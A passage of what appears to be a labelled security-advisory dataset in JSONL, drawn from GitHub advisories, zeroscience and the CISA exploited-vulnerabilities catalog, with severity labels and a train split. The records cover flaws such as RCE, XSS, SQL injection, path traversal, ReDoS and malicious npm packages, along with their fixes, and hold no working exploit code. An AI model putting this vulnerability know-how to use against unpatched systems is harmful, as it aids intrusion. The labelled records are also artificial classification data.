2.0.3 and all 2.1.x releases before 2.1.4.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-27", "split": "train"}
-{"id": "aa0cc419835f76086204", "text": "actionpack allows remote code execution via application's unrestricted use of render method\n\nAction Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method.", "text_raw": "actionpack allows remote code execution via application's unrestricted use of render method\n\n[Severity: HIGH]\n\nAction Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "6ae1230c6c188e6f4114", "text": "Zen Cart v1.3.9f Multiple Remote Vulnerabilities", "text_raw": "Zen Cart v1.3.9f Multiple Remote Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-10-01", "split": "train"}
-{"id": "13f5dd167c0afdeed2a1", "text": "Cross-site Scripting in Sanitize\n\nWhen HTML is sanitized using Sanitize's \"relaxed\" config or a custom config that allows certain elements, some content in a `<math>` or `<svg>` element may not be sanitized correctly even if `math` and `svg` are not in the allowlist.\n\nYou are likely to be vulnerable to this issue if you use Sanitize's relaxed config or a custom config that allows one or more of the following HTML elements:\n\n- `iframe`\n- `math`\n- `noembed`\n- `noframes`\n- `noscript`\n- `plaintext`\n- `script`\n- `style`\n- `svg`\n- `xmp`\n\n### Impact\n\nUsing carefully crafted input, an attacker may be able to sneak arbitrary HTML through Sanitize, potentially resulting in XSS (cross-site scripting) or other undesired behavior when that HTML is rendered in a browser.\n\n### Releases\n\nThis problem has been fixed in Sanitize 5.2.1.\n\n### Workarounds\n\nIf upgrading is not possible, a workaround is to override the default value of Sanitize's `:remove_contents` config option with the following value, which ensures that the contents of `math` and `svg` elements (among others) are removed entirely when those elements are not in the allowlist:\n\n```ruby\n%w[iframe math noembed noframes noscript plaintext script style svg xmp]\n```\n\nFor example, if you currently use Sanitize's relaxed config, you can create a custom config object that overrides the default value of `:remove_contents` like this:\n\n```ruby\ncustom_config = Sanitize::Config.merge(\n  Sanitize::Config::RELAXED,\n  :remove_contents => %w[iframe math noembed noframes noscript plaintext script style svg xmp]\n)\n```\n\nYou would then pass this custom config to Sanitize when sanitizing HTML.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in the [Sanitize repo](https://github.com/rgrove/sanitize).\n- See Sanitize's [security policy](https://github.com/rgrove/sanitize/security/policy).\n\n### Credits\n\nMany thanks to Michal Bentkowski of Securitum for reporting this bug and helping to verify the fix.\n\n### References\n\n- [GHSA-p4x4-rw2p-8j8m](https://github.com/rgrove/sanitize/security/advisories/GHSA-p4x4-rw2p-8j8m)\n- [CVE-2020-4054](https://nvd.nist.gov/vuln/detail/CVE-2020-4054)\n- https://github.com/rgrove/sanitize/releases/tag/v5.2.1", "text_raw": "Cross-site Scripting in Sanitize \n\n[Severity: HIGH]\n\nWhen HTML is sanitized using Sanitize's \"relaxed\" config or a custom config that allows certain elements, some content in a `<math>` or `<svg>` element may not be sanitized correctly even if `math` and `svg` are not in the allowlist.\n\nYou are likely to be vulnerable to this issue if you use Sanitize's relaxed config or a custom config that allows one or more of the following HTML elements:\n\n- `iframe`\n- `math`\n- `noembed`\n- `noframes`\n- `noscript`\n- `plaintext`\n- `script`\n- `style`\n- `svg`\n- `xmp`\n\n### Impact\n\nUsing carefully crafted input, an attacker may be able to sneak arbitrary HTML through Sanitize, potentially resulting in XSS (cross-site scripting) or other undesired behavior when that HTML is rendered in a browser.\n\n### Releases\n\nThis problem has been fixed in Sanitize 5.2.1.\n\n### Workarounds\n\nIf upgrading is not possible, a workaround is to override the default value of Sanitize's `:remove_contents` config option with the following value, which ensures that the contents of `math` and `svg` elements (among others) are removed entirely when those elements are not in the allowlist:\n\n```ruby\n%w[iframe math noembed noframes noscript plaintext script style svg xmp]\n```\n\nFor example, if you currently use Sanitize's relaxed config, you can create a custom config object that overrides the default value of `:remove_contents` like this:\n\n```ruby\ncustom_config = Sanitize::Config.merge(\n  Sanitize::Config::RELAXED,\n  :remove_contents => %w[iframe math noembed noframes noscript plaintext script style svg xmp]\n)\n```\n\nYou would then pass this custom config to Sanitize when sanitizing HTML.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in the [Sanitize repo](https://github.com/rgrove/sanitize).\n- See Sanitize's [security policy](https://github.com/rgrove/sanitize/security/policy).\n\n### Credits\n\nMany thanks to Michal Bentkowski of Securitum for reporting this bug and helping to verify the fix.\n\n### References\n\n- [GHSA-p4x4-rw2p-8j8m](https://github.com/rgrove/sanitize/security/advisories/GHSA-p4x4-rw2p-8j8m)\n- [CVE-2020-4054](https://nvd.nist.gov/vuln/detail/CVE-2020-4054)\n- https://github.com/rgrove/sanitize/releases/tag/v5.2.1", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-16", "split": "train"}
-{"id": "0f61fd953051e708e5bc", "text": "Path Traversal in serve-here.js\n\nVersions of `serve-here.js` prior to 1.2.0 are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n## Recommendation\n\nUpgrade to version 1.2.0 or later.", "text_raw": "Path Traversal in serve-here.js\n\n[Severity: HIGH]\n\nVersions of `serve-here.js` prior to 1.2.0 are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n\n## Recommendation\n\nUpgrade to version 1.2.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-07-05", "split": "train"}
-{"id": "78f8403f5ed8a6b50e95", "text": "Sports Accelerator Suite v2.0 (news_id) Remote SQL Injection Vulnerability", "text_raw": "Sports Accelerator Suite v2.0 (news_id) Remote SQL Injection Vulnerability\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2010-08-14", "split": "train"}
-{"id": "e68cbb929fe30b6427ef", "text": "CSV Injection in symfony/serializer\n\nDescription\n-----------\n\nCSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files. When a spreadsheet program opens a CSV, any cell starting with `=` is interpreted by the software as a formula and could be abused by an attacker.\n\nIn Symfony 4.1, we've added the opt-in `csv_escape_formulas` option in `CsvEncoder`, to prefix all cells starting by  `=`, `+`, `-` or `@` by a tab `\\t`.\n\nSince then, OWASP added 2 chars in that list: \n- Tab (0x09)\n- Carriage return (0x0D)\n\nThis makes our previous prefix char (Tab `\\t`) part of the vulnerable characters, and [OWASP suggests](https://owasp.org/www-community/attacks/CSV_Injection) using the single quote `'` for prefixing the value.\n\nResolution\n----------\n\nSymfony now follows the OWASP recommendations and use the single quote `'` to prefix formulas and adds the prefix to cells starting by `\\t`, `\\r` as well as `=`, `+`, `-` and `@`.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/3da6f2d45e7536ccb2a26f52fbaf340917e208a8) for branch 4.4.\n\nCredits\n-------\n\nWe would like to thank Jake Barwell for reporting the issue and Jérémy Derussé for fixing the issue.", "text_raw": "CSV Injection in symfony/serializer\n\n[Severity: MEDIUM]\n\nDescription\n-----------\n\nCSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files. When a spreadsheet program opens a CSV, any cell starting with `=` is interpreted by the software as a formula and could be abused by an attacker.\n\nIn Symfony 4.1, we've added the opt-in `csv_escape_formulas` option in `CsvEncoder`, to prefix all cells starting by  `=`, `+`, `-` or `@` by a tab `\\t`. \n\nSince then, OWASP added 2 chars in that list: \n- Tab (0x09)\n- Carriage return (0x0D)\n\nThis makes our previous prefix char (Tab `\\t`) part of the vulnerable characters, and [OWASP suggests](https://owasp.org/www-community/attacks/CSV_Injection) using the single quote `'` for prefixing the value.\n\nResolution\n----------\n\nSymfony now follows the OWASP recommendations and use the single quote `'` to prefix formulas and adds the prefix to cells starting by `\\t`, `\\r` as well as `=`, `+`, `-` and `@`.\n\nThe patch for this issue is available [here](https://github.com/symfony/symfony/commit/3da6f2d45e7536ccb2a26f52fbaf340917e208a8) for branch 4.4.\n\nCredits\n-------\n\nWe would like to thank Jake Barwell for reporting the issue and Jérémy Derussé for fixing the issue.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-24", "split": "train"}
-{"id": "df61c04aa629e47ec3bf", "text": "pwntools Server-Side Template Injection (SSTI) vulnerability\n\nThis affects the package pwntools before 4.3.1. The shellcraft generator for affected versions of this module are vulnerable to Server-Side Template Injection (SSTI), which can lead to remote code execution.", "text_raw": "pwntools Server-Side Template Injection (SSTI) vulnerability\n\n[Severity: CRITICAL]\n\nThis affects the package pwntools before 4.3.1. The shellcraft generator for affected versions of this module are vulnerable to Server-Side Template Injection (SSTI), which can lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "8fd08c19117d18bd9d34", "text": "Deserialization of Untrusted Data in topthink/framework\n\nThinkPHP v6.0.8 was discovered to contain a deserialization vulnerability via the component League\\Flysystem\\Cached\\Storage\\AbstractCache.", "text_raw": "Deserialization of Untrusted Data in topthink/framework\n\n[Severity: CRITICAL]\n\nThinkPHP v6.0.8 was discovered to contain a deserialization vulnerability via the component League\\Flysystem\\Cached\\Storage\\AbstractCache.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-07", "split": "train"}
-{"id": "ceab465dfb9757e34cd8", "text": "Netautor Professional 5.5.0 (goback) XSS Vulnerability", "text_raw": "Netautor Professional 5.5.0 (goback) XSS Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2010-09-17", "split": "train"}
-{"id": "6a7e91e5ff2e1166c4d9", "text": "Adobe Device Central CS5 v3.0.1.0 (dwmapi.dll) DLL Hijacking Exploit", "text_raw": "Adobe Device Central CS5 v3.0.1.0 (dwmapi.dll) DLL Hijacking Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-08-26", "split": "train"}
-{"id": "c21a9fade39ae3437317", "text": "Cross-Site Scripting\n\nFlower, before 0.9.2, has a XSS on tasks page because data is not properly escaped.", "text_raw": "Cross-Site Scripting\n\n[Severity: MEDIUM]\n\nFlower, before 0.9.2, has a XSS on tasks page because data is not properly escaped.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-24", "split": "train"}
-{"id": "fee14c2ebf9a4bb7d1f3", "text": "Downloads Resources over HTTP in limbus-buildgen\n\nAffected versions of `limbus-buildgen` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `limbus-buildgen`.\n\n## Recommendation\n\nUpdate to version 0.1.1 or later.", "text_raw": "Downloads Resources over HTTP in limbus-buildgen\n\n[Severity: HIGH]\n\nAffected versions of `limbus-buildgen` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `limbus-buildgen`.\n\n\n## Recommendation\n\nUpdate to version 0.1.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "69e9644651ea6af8645f", "text": "Double free in basic_dsp_matrix\n\nAn issue was discovered in the basic_dsp_matrix crate before 0.9.2 for Rust. When a TransformContent panic occurs, a double drop can be performed.", "text_raw": "Double free in basic_dsp_matrix\n\n[Severity: HIGH]\n\nAn issue was discovered in the basic_dsp_matrix crate before 0.9.2 for Rust. When a TransformContent panic occurs, a double drop can be performed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "0545adaba7088fd80b9c", "text": "Cross-Site Scripting in buefy\n\nVersions of buefy prior to 0.7.2 are vulnerable to Cross-Site Scripting, allowing attackers to manipulate the DOM and execute remote code. The autocomplete list renders user input as HTML without encoding.\n\n## Recommendation\n\nUpgrade to version 0.7.2 or later.", "text_raw": "Cross-Site Scripting in buefy\n\n[Severity: HIGH]\n\nVersions of buefy prior to 0.7.2 are vulnerable to Cross-Site Scripting, allowing attackers to manipulate the DOM and execute remote code. The autocomplete list renders user input as HTML without encoding.\n\n\n## Recommendation\n\nUpgrade to version 0.7.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "8e9dffd6700b25070a6f", "text": "Downloads Resources over HTTP in kindlegen\n\nAffected versions of `kindlegen` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `kindlegen`.\n\n## Recommendation\n\nUpdate to version 1.1.0 or greater.", "text_raw": "Downloads Resources over HTTP in kindlegen\n\n[Severity: HIGH]\n\nAffected versions of `kindlegen` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `kindlegen`.\n\n\n## Recommendation\n\nUpdate to version 1.1.0 or greater.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "ff082da1731205cfb5bc", "text": "Cross-Site Scripting in morris.js\n\nAffected versions of `morris.js` are vulnerable to cross-site scripting attacks in labels that appear when hovering over a particular point on a generated graph. The text content of these labels is not escaped, so if control over the labels is obtained, script can be injected. The script will run on the client side whenever that specific graph is loaded.\n\n## Recommendation\n\nA patch for this vulnerability was created in 2014, but has still not been published to npm. In order to mitigate this issue effectively, install the library from github via:\n```\nnpm i morrisjs/morris.js -s\n```", "text_raw": "Cross-Site Scripting in morris.js\n\n[Severity: MEDIUM]\n\nAffected versions of `morris.js` are vulnerable to cross-site scripting attacks in labels that appear when hovering over a particular point on a generated graph. The text content of these labels is not escaped, so if control over the labels is obtained, script can be injected. The script will run on the client side whenever that specific graph is loaded.\n\n\n## Recommendation\n\nA patch for this vulnerability was created in 2014, but has still not been published to npm. In order to mitigate this issue effectively, install the library from github via:\n```\nnpm i morrisjs/morris.js -s\n```", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "e2d18c4a7310e93c3cc1", "text": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-918\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-918\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "c8bf1db3fc0f41ea9a9b", "text": "Clarify `mediaType` handling\n\n### Impact\nIn the OCI Image Specification version 1.0.1 and prior, manifest and index documents are not self-describing and documents with a single digest could be interpreted as either a manifest or an index.\n\n### Patches\nThe Image Specification will be updated to recommend that both manifest and index documents contain a `mediaType` field to identify the type of document.\nRelease [v1.0.2](https://github.com/opencontainers/image-spec/releases/tag/v1.0.2) includes these updates.\n\n### Workarounds\nSoftware attempting to deserialize an ambiguous document may reject the document if it contains both “manifests” and “layers” fields or “manifests” and “config” fields.\n\n### References\nhttps://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/opencontainers/image-spec\n* Email us at [security@opencontainers.org](mailto:security@opencontainers.org)\n* https://github.com/opencontainers/image-spec/commits/v1.0.2", "text_raw": "Clarify `mediaType` handling\n\n[Severity: LOW]\n\n### Impact\nIn the OCI Image Specification version 1.0.1 and prior, manifest and index documents are not self-describing and documents with a single digest could be interpreted as either a manifest or an index.\n\n### Patches\nThe Image Specification will be updated to recommend that both manifest and index documents contain a `mediaType` field to identify the type of document.\nRelease [v1.0.2](https://github.com/opencontainers/image-spec/releases/tag/v1.0.2) includes these updates.\n\n### Workarounds\nSoftware attempting to deserialize an ambiguous document may reject the document if it contains both “manifests” and “layers” fields or “manifests” and “config” fields.\n\n### References\nhttps://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/opencontainers/image-spec\n* Email us at [security@opencontainers.org](mailto:security@opencontainers.org)\n* https://github.com/opencontainers/image-spec/commits/v1.0.2\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-11-18", "split": "train"}
-{"id": "2aa3adb0edf7f3bb4a92", "text": "vBulletin PHP Module Remote Code Execution Vulnerability\n\nAffected: vBulletin vBulletin\n\nThe PHP module within vBulletin contains an unspecified vulnerability that allows for remote code execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. This CVE ID resolves an incomplete patch for CVE-2019-16759.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-74\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "vBulletin PHP Module Remote Code Execution Vulnerability\n\nAffected: vBulletin vBulletin\n\nThe PHP module within vBulletin contains an unspecified vulnerability that allows for remote code execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. This CVE ID resolves an incomplete patch for CVE-2019-16759.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-74\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "fe85e94631b90427e64f", "text": "Regular Expression Denial of Service in negotiator\n\nAffected versions of `negotiator` are vulnerable to regular expression denial of service attacks, which trigger upon parsing a specially crafted `Accept-Language` header value.\n\n## Recommendation\n\nUpdate to version 0.6.1 or later.", "text_raw": "Regular Expression Denial of Service in negotiator\n\n[Severity: HIGH]\n\nAffected versions of `negotiator` are vulnerable to regular expression denial of service attacks, which trigger upon parsing a specially crafted `Accept-Language` header value.\n\n\n\n\n## Recommendation\n\nUpdate to version 0.6.1 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "44ee08192d3166b10343", "text": "Data race in conqueue\n\nAffected versions of this crate unconditionally implemented `Send`/`Sync` for `QueueSender<T>`, allowing to send non-Send `T` to other threads by invoking `(&QueueSender<T>).send()`.\n\nThis fails to prevent users from creating data races by sending types like `Rc<T>` or `Arc<Cell<T>>` to other threads, which can lead to memory corruption. The flaw was corrected in commit `1e462c3` by imposing `T: Send` to both `Send`/`Sync` impls for `QueueSender<T>`/`QueueReceiver<T>`.", "text_raw": "Data race in conqueue\n\n[Severity: HIGH]\n\nAffected versions of this crate unconditionally implemented `Send`/`Sync` for `QueueSender<T>`, allowing to send non-Send `T` to other threads by invoking `(&QueueSender<T>).send()`.\n\nThis fails to prevent users from creating data races by sending types like `Rc<T>` or `Arc<Cell<T>>` to other threads, which can lead to memory corruption. The flaw was corrected in commit `1e462c3` by imposing `T: Send` to both `Send`/`Sync` impls for `QueueSender<T>`/`QueueReceiver<T>`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e306cb29588e58dabea8", "text": "Potential Command Injection in libnotify\n\nVersions 1.0.3 and earlier of libnotify are affected by a shell command injection vulnerability. This may result in execution of arbitrary shell commands, if user input is passed into libnotify.notify.\n\nUntrusted input passed in the call to libnotify.notify could result in execution of shell commands. Callers may be unaware of this.\n\n### Example\n```js\nvar libnotify = require('libnotify')\nlibnotify.notify('UNTRUSTED INPUT', { title: \\\"\\\" }, function () {\n    console.log(arguments);\n})\n```\n\nSpecial thanks to Neal Poole for submitting the pull request to fix this issue.\n\n## Recommendation\n\nUpdate to version 1.0.4 or greater", "text_raw": "Potential Command Injection in libnotify\n\n[Severity: CRITICAL]\n\nVersions 1.0.3 and earlier of libnotify are affected by a shell command injection vulnerability. This may result in execution of arbitrary shell commands, if user input is passed into libnotify.notify.\n\nUntrusted input passed in the call to libnotify.notify could result in execution of shell commands. Callers may be unaware of this.\n\n### Example\n```js\nvar libnotify = require('libnotify')\nlibnotify.notify('UNTRUSTED INPUT', { title: \\\"\\\" }, function () {\n    console.log(arguments);\n})\n```\n\nSpecial thanks to Neal Poole for submitting the pull request to fix this issue.\n\n\n## Recommendation\n\nUpdate to version 1.0.4 or greater", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "b911d6ada3a1563406f0", "text": "mime Regular Expression Denial of Service when MIME lookup performed on untrusted user input\n\nAffected versions of `mime` are vulnerable to regular expression denial of service when a mime lookup is performed on untrusted user input.\n\n## Recommendation\n\nUpdate to version 2.0.3 or later.", "text_raw": "mime Regular Expression Denial of Service when MIME lookup performed on untrusted user input\n\n[Severity: HIGH]\n\nAffected versions of `mime` are vulnerable to regular expression denial of service when a mime lookup is performed on untrusted user input.\n\n\n## Recommendation\n\nUpdate to version 2.0.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-20", "split": "train"}
-{"id": "a6f0eeea9271784a5661", "text": "Downloads Resources over HTTP in bionode-sra\n\nAffected versions of `bionode-sra` insecurely downloads resources over HTTP.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. The author of this package has suggested using [urllib-sync](https://www.npmjs.com/package/urllib-sync).\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in bionode-sra\n\n[Severity: HIGH]\n\nAffected versions of `bionode-sra` insecurely downloads resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. The author of this package has suggested using [urllib-sync](https://www.npmjs.com/package/urllib-sync).\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "91889e7ebd6fe1c71698", "text": "Improper Input Validation in SocksJS-Node\n\nIncorrect handling of Upgrade header with the value websocket leads in crashing of containers hosting sockjs apps. This affects the package sockjs before 0.3.20.", "text_raw": "Improper Input Validation in SocksJS-Node\n\n[Severity: MEDIUM]\n\nIncorrect handling of Upgrade header with the value websocket leads in crashing of containers hosting sockjs apps. This affects the package sockjs before 0.3.20.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "60317b468020a19c7cdc", "text": "Microsoft Office Outlook Security Feature Bypass Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office Outlook contains a security feature bypass vulnerability due to improperly handling objects in memory. Successful exploitation allows an attacker to execute commands.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Office Outlook Security Feature Bypass Vulnerability\n\nAffected: Microsoft Office\n\nMicrosoft Office Outlook contains a security feature bypass vulnerability due to improperly handling objects in memory. Successful exploitation allows an attacker to execute commands.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "4c1e41eb6db5fbc113ca", "text": "Malicious Package in retcodelog\n\nAll versions of `retcodelog` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in retcodelog\n\n[Severity: CRITICAL]\n\nAll versions of `retcodelog` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "0a3619fd30146fdbebf9", "text": "Incorrect Session Validation in Apache Airflow\n\nIncorrect Session Validation in Apache Airflow Webserver versions prior to 1.10.14 with default config allows a malicious airflow user on site A where they log in normally, to access unauthorized Airflow Webserver on Site B through the session from Site A. This does not affect users who have changed the default value for `[webserver] secret_key` config.", "text_raw": "Incorrect Session Validation in Apache Airflow\n\n[Severity: HIGH]\n\nIncorrect Session Validation in Apache Airflow Webserver versions prior to 1.10.14 with default config allows a malicious airflow user on site A where they log in normally, to access unauthorized Airflow Webserver on Site B through the session from Site A. This does not affect users who have changed the default value for `[webserver] secret_key` config.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "3796a58dce3c1b9b903e", "text": "Malicious Package in antd-cloud\n\nAll versions of `antd-cloud` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in antd-cloud\n\n[Severity: CRITICAL]\n\nAll versions of `antd-cloud` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5505cfdf2789dd9f2f39", "text": "Downloads Resources over HTTP in apk-parser3\n\nAffected versions of `apk-parser3` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `apk-parser3`.\n\n## Recommendation\n\nUpdate to version 0.1.3 or greater.", "text_raw": "Downloads Resources over HTTP in apk-parser3\n\n[Severity: HIGH]\n\nAffected versions of `apk-parser3` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `apk-parser3`.\n\n\n## Recommendation\n\nUpdate to version 0.1.3 or greater.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "bd88fc5a3fd10b207e0a", "text": "Denial of Service in ecstatic\n\n`ecstatic`, a simple static file server middleware, is vulnerable to denial of service. If a payload with a large number of null bytes (`%00`) is provided by an attacker it can crash ecstatic by running it out of memory.\n\n[Results from the original advisory](https://www.checkmarx.com/advisories/denial-of-service-dos-vulnerability-in-ecstatic-npm-package/)\n\n```\nA payload of 22kB caused a lag of 1 second,\nA payload of 35kB caused a lag of 3 seconds,\nA payload of 86kB caused the server to crash\n```\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.", "text_raw": "Denial of Service in ecstatic\n\n[Severity: HIGH]\n\n`ecstatic`, a simple static file server middleware, is vulnerable to denial of service. If a payload with a large number of null bytes (`%00`) is provided by an attacker it can crash ecstatic by running it out of memory.\n\n\n[Results from the original advisory](https://www.checkmarx.com/advisories/denial-of-service-dos-vulnerability-in-ecstatic-npm-package/)\n\n```\nA payload of 22kB caused a lag of 1 second,\nA payload of 35kB caused a lag of 3 seconds,\nA payload of 86kB caused the server to crash\n```\n\n\n## Recommendation\n\nUpdate to version 2.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-12-28", "split": "train"}
